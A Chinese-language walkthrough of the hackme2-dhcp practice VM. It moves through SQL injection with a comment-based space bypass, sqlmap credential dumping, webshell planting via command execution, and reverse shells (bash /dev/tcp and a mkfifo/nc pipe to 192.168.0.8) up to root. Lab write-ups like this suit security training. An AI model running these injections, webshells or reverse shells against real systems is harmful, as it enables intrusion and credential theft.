hackme2-dhcp靶场记录
1.下载靶场下载地址2.打开虚拟机,导入虚拟机后把网络模式由NAT改为桥接模式,启动。先用浏览器访问一下80端口,是一个登录,没有验证码,可以试一下爆破。我这里还是先注册一下,不行再爆破。可以注册,注册登录之后发现这是一个图书系统。搜索一下试试,显示了所有的图书。但凡有搜索的地方,先试一下sql注入,抓包看一下,post有search参数,手工测试一下。search存注入,字符型。联合注入一下,试
1.下载靶场
2.打开虚拟机,导入虚拟机后把网络模式由NAT改为桥接模式,启动。
先用浏览器访问一下80端口,是一个登录,没有验证码,可以试一下爆破。我这里还是先注册一下,不行再爆破。
可以注册,注册登录之后发现这是一个图书系统。
搜索一下试试,显示了所有的图书。
但凡有搜索的地方,先试一下sql注入,抓包看一下,post有search参数,手工测试一下。
search存注入,字符型。联合注入一下,试一下字段数。
没有注入成功,盲猜是由于过滤了空格用/**/代替一下绕过。
可以,注入成功,剩下的交给sqlmap,右键保存一下抓包记录为1.txt文件,data为指定post参数。
python3 sqlmap.py -r 1.txt -vv --tamper=space2comment --dbms "MySQL" --level 5 --data="search=1"
然后获取一下当前的数据库的用户名和密码
python3 sqlmap.py -r a.txt -vv --tamper=space2comment --dbms "MySQL" --level 5 --data="search=1" -D webapphacking -C "user,pasword" –dump
解密一下superadmin的密码
登入管理员后台,可以上传文件,先上传图马。
上传图马之后,一般都是用文件包含,但这里没有,总之挂代理xray扫描一下。
扫到一个php命令执行,试试。
现在有三种方式写webshell
1通过wget下载后门
2通过上传图片文件包含或者通过命令执行来修改后缀名为php
3直接用命令行写入webshell
直接wget下载shell:
系统命令修改后缀名为php,但是要先知道上传路径,这个可以通过ls命令显示文件,或者用cat查看welcomeadmin.php的源码查看。
/var/www/html/uploads/year2020/
上传完连接,反弹nc或msf,提权就ok了。
反弹shell有很多种,但是在这个靶机上,bash反弹会报错。
bash -i >& /dev/tcp/ip/port 0>&1
由于默认的nc没有-e选项,可以通过命名管道的方式把bash通过nc反弹出来。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.8 8080 > /tmp/f
一定要先监听端口,然后再反弹,否则连接不上!
用python升级一下交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
或者用php-reverse-shell进行反弹。
再或者可以用base64加密一下bash反弹命令。
反弹成功之后,再home目录下发现一个奇怪的文件,用cat查看后发现是一个二进制可执行文件。
执行了一下,居然提权成功,看来这就是这个靶机的最后一步了。
代码审计:
welcome.php:
welcomeadmin.php
ps:手工测试时,如果单引号不行就换双引号或者括号多试几次。
更多推荐
所有评论(0)